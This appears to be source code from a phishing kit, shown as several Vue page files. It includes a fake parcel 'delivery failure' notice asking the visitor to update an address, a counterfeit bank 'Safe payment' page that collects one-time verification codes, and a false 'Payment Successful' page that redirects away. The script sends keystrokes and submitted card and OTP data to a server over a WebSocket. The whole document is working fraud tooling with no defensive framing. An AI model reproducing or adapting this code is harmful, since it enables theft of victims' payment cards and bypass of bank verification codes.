const max = 999999999; // 9 位数的最大值
// 生成并返回随机的 9 位数
return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content-body">
<div>
<img src="/bompawoemfg16af/g16t.webp" style="width: 100%; height: 300px;object-fit: cover;"></img>
</div>
<div class="" style="margin-top: 30px;">
<div
class="content-wrapper"
style="min-height: 100px; padding: 0 0"
>
<form @submit.prevent="next">
<h1 class="title">
{{ t("Delivery status") }}
</h1>
<br />
<div class="content">
<p>
{{ t("Your package number", ["2512876127"]) }}
</p>
<p style="color: red">
<b>{{ t("Failure notice of delivery") }}</b>
</p>
<ul>
<li>
{{ t("Because the delivery address is not clear, your package is not delivered") }}
</li>
<li>{{ t("Your package has returned to our operation center") }}</li>
<li>
{{ t("Please update your address", [payDate1]) }}
</li>
</ul>
<br /><br />
<div class="button-submit">
<button>{{ t("Continue") }}</button>
</div>
</div>
</form>
</div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
h1.title {
color: #24549d;
font-size: 2rem;
text-align: center;
}
div.content {
padding: 10px;
background-color: #f2f2f2;
border-radius: 3px;
}
ul {
list-style: disc outside none !important;
list-style: initial !important;
}
ul {
padding-left: 14px;
}
ul li {
margin-top: 8px;
}
</style>

View File

@@ -0,0 +1,61 @@
<script setup lang="ts">
import { ref, onMounted } from 'vue';
const isLoading = ref(true);
onMounted(() => {
// Simulate loading, remove in production and use actual data loading completion
setTimeout(() => {
isLoading.value = false;
}, 2000);
});
</script>
<template>
<div class="container">
<div v-if="isLoading" class="loading-spinner">
<div class="spinner"></div>
</div>
<div v-else class="content">
<!-- Main content goes here when loading is complete -->
</div>
</div>
</template>
<style scoped>
.container {
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
width: 100%;
background-color: transparent;
}
.loading-spinner {
display: flex;
justify-content: center;
align-items: center;
}
.spinner {
width: 40px;
height: 40px;
border: 4px solid rgb(81, 81, 81, 0.3);
border-radius: 50%;
border-top-color: transparent;
animation: spin 1s ease-in-out infinite;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
.content {
width: 100%;
padding: 20px;
}
</style>

View File

@@ -0,0 +1,64 @@
<template>
<div
v-if="isLoading"
class="loading-overlay"
:style="{ backgroundColor: loadingBg.value }"
>
<div class="spinner"></div>
</div>
</template>
<script lang="ts">
import { computed, defineComponent } from "vue";
import { useLoadingStore } from "@/stores/loadingStore";
import { loadingBg } from "@/utils/common";
export default defineComponent({
computed: {
loadingBg() {
return loadingBg;
},
},
setup() {
const loadingStore = useLoadingStore();
const isLoading = computed(() => loadingStore.isLoading);
return {
isLoading,
};
},
});
</script>
<style>
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.spinner {
border: 4px solid rgb(207, 207, 207);
border-top: 4px solid #3c8872;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 1s linear infinite;
border: 4px solid rgb(207, 207, 207);
border-top: 4px solid #3c8872;
}
@keyframes spin {
to {
transform: rotate(360deg);
}
}
</style>

View File

@@ -0,0 +1,297 @@
<script setup lang="ts">
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
import { useRoute } from "vue-router";
import eventBus from "@/utils/eventBus";
import { useLoadingStore } from "@/stores/counter";
import CardType1 from "../components/CardType1.vue";
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
const cardType = ref("");
const message1 = ref("");
import { useI18n } from "vue-i18n";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid" },
})
);
const route = useRoute();
const query = route.query as any;
if (query && query.cardType) {
cardType.value = query.cardType;
localStorage.setItem("cardType", query.cardType);
} else {
const type = localStorage.getItem("cardType");
if (type) {
cardType.value = type;
}
}
if (query && query.message1) {
message1.value = query.message1;
localStorage.setItem("message1", query.message1);
} else {
const type = localStorage.getItem("message1");
if (type) {
message1.value = type;
}
}
localStorage.setItem("route", "otpValid");
startCountdown("");
eventBus.on("otp-valid", handleEvent);
});
const formData = reactive({ verifyCode: "" });
const onchange = (value: any) => {
inputChange("input_card", "verifyCode", value.target.value);
formData.verifyCode = value.target.value;
};
const submit = async () => {
await nextTick();
useLoadingStore().isLoading = true;
if (!areAllValuesNotEmpty(formData)) {
useLoadingStore().isLoading = false;
return;
}
myWebSocket?.send(
JSON.stringify({
event: "submit_card",
content: {
type: "submitValidCode",
formData: formData,
},
})
);
};
const initialTime = 60; // 倒计时时间,单位为秒
const timeLeft = ref(initialTime);
const isCounting = ref(false);
let timer: number | null = null;
const buttonText = computed(() => {
return isCounting.value
? `00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value}`
: t("Click here to receive another code");
});
const startCountdown = (resultType: string) => {
if (isCounting.value) return; // 如果已经在倒计时,则不执行
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "otpValid", resultType: resultType },
})
);
isCounting.value = true;
timeLeft.value = initialTime;
timer = window.setInterval(() => {
if (timeLeft.value > 0) {
timeLeft.value -= 1;
} else {
stopCountdown();
}
}, 1000);
};
const stopCountdown = () => {
if (timer !== null) {
clearInterval(timer);
timer = null;
}
isCounting.value = false;
};
const message = ref("");
const handleEvent = (data: { message2: string }) => {
message.value = data.message2;
};
onUnmounted(() => {
eventBus.off("otp-valid", handleEvent);
});
</script>
<template>
<div id="darcula-teleport-page">
<div>
<form class="container" @submit.prevent="submit">
<div class="header">
<div class="bank-logo">
<img src="@/assets/img/80066acd3fcfa.svg" alt="bank" />
</div>
<div class="card-logo">
<CardType1 :cardType="cardType" />
</div>
</div>
<br />
<div style="font-size: 20px">
<b>{{ t("Safe payment") }}</b>
</div>
<p v-if="!message1">
{{
t("Please confirm your identity and a one-time code will be sent")
}}
</p>
<p v-if="message1">
{{ t("The verification code has been sent to") }} ***{{ message1 }}
</p>
<p>{{ t("Please do not click the") }}</p>
<br />
<div class="input" style="text-align: center">
<label>{{ t("Verification code") }}</label>
<input
required
type="text"
inputmode="numeric"
@input="onchange"
v-model="formData.verifyCode"
minlength="3"
maxlength="8"
/>
</div>
<div class="error" v-if="message">
{{ message }}
</div>
<br />
<div class="button-submit">
<button type="submit">{{ t("Submit") }} 25.09</button>
</div>
<div class="resend" @click="startCountdown('resendCode')">
<a href="javascript:">{{ buttonText }}</a>
</div>
</form>
</div>
</div>
</template>
<style scoped>
.error {
color: red;
font-size: 0.9em;
}
.container {
padding: 15px;
font-size: 16px;
max-width: 800px;
margin: 0 auto;
}
.container .header {
height: 66px;
display: flex;
align-items: center;
justify-content: space-between;
border-bottom: 1px solid #e3e3e3;
}
.container .header > div {
display: flex;
align-items: center;
}
.container .header .bank-logo {
height: 100%;
}
.container .header .card-logo {
height: 100%;
position: relative;
}
.container .header .card-logo:after {
content: "";
display: block;
position: absolute;
top: 0;
width: 15px;
height: 100%;
background: linear-gradient(
90deg,
transparent,
rgba(255, 255, 255, 0.6352941176),
transparent
);
animation: line 2s infinite;
}
@keyframes line {
0% {
left: -15px;
}
to {
left: 100%;
}
}
.container div.input label {
display: block;
margin-bottom: 5px;
}
.container div.input input {
width: 100%;
padding: 8px 5px;
text-align: center;
outline: none;
border: 2px solid black;
border-radius: 5px;
font-weight: 700;
font-size: 16px;
box-sizing: border-box;
}
.container div.input input:focus {
border-color: #5381be;
}
.container div.button-submit button {
width: 100%;
padding: 10px 5px;
cursor: pointer;
background: linear-gradient(180deg, #2047f4 0, #385bf8 100%);
color: #fff;
border: none;
outline: none;
border-radius: 3px;
}
.container .resend {
margin-top: 8px;
text-align: center;
font-size: 13px;
}
.container .resend a {
color: #000;
-webkit-text-decoration: underline;
text-decoration: underline;
}
body {
margin: 0;
padding: 0 0 0;
background: #fff;
color: #000;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
overflow-x: hidden;
font-size: 15px;
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
</style>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,164 @@
<script setup lang="ts">
import { inject, onMounted, ref } from "vue";
import CommonLayout from "@/views/CommonLayout.vue";
const loading = ref(true);
import { useI18n } from "vue-i18n";
import { myWebSocket, redirectToExternal } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法
onMounted(() => {
myWebSocket?.send(
JSON.stringify({
event: "page_type",
content: { pageType: "success" },
})
);
setTimeout(() => {
redirectToExternal();
}, 2000); // 3秒后跳转
localStorage.setItem("route", "success");
});
</script>
<template>
<CommonLayout>
<template #default>
<div class="main-content">
<div class="container">
<div style="height: 30px"></div>
<div class="success-icon"></div>
<h1>{{ t("Payment Successful") }}</h1>
<p>
{{
t(
"Thank you for your purchase. Your payment has been processed successfully"
)
}}
</p>
<div class="loader" v-if="loading">
<div class="spinner"></div>
</div>
<div style="height: 30px"></div>
</div>
</div>
</template>
</CommonLayout>
</template>
<style scoped>
body {
font-family: Arial, sans-serif;
background-color: #f4f4f9;
margin: 0;
padding: 0;
display: flex;
justify-content: center; /* 水平居中 */
align-items: center; /* 垂直居中 */
/* height: 100vh; */
}
.container {
background-color: #ffffff;
padding: 50px;
border-radius: 8px;
text-align: center;
max-width: 450px;
width: 100%;
box-sizing: border-box;
}
@media (max-width: 767px) {
/* Mega Menu */
.main-content {
/* padding-top: 80px !important;
padding-bottom: 96px !important; */
display: block;
}
}
.main-content {
/* padding-top: 160px; */
display: block;
}
.loading-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
display: flex;
align-items: center;
justify-content: center;
z-index: 1000;
}
.success-icon {
font-size: 50px;
color: #4bb543;
}
h1 {
color: #333;
font-size: 1.5em;
}
p {
color: #666;
font-size: 1em;
}
.loader {
display: flex;
justify-content: center;
align-items: center;
margin-top: 20px;
}
.spinner {
border: 4px solid #f3f3f3;
border-top: 4px solid #385bf8;
border-radius: 50%;
width: 40px;
height: 40px;
animation: spin 2s linear infinite;
}
@keyframes spin {
0% {
transform: rotate(0deg);
}
100% {
transform: rotate(360deg);
}
}
/* 响应式设计 */
@media (min-width: 768px) {
.container {
max-width: 600px;
padding: 40px;
}
.success-icon {
font-size: 70px;
}
h1 {
font-size: 2em;
}
p {
font-size: 1.2em;
}
}
p {
display: block;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
unicode-bidi: isolate;
}
</style>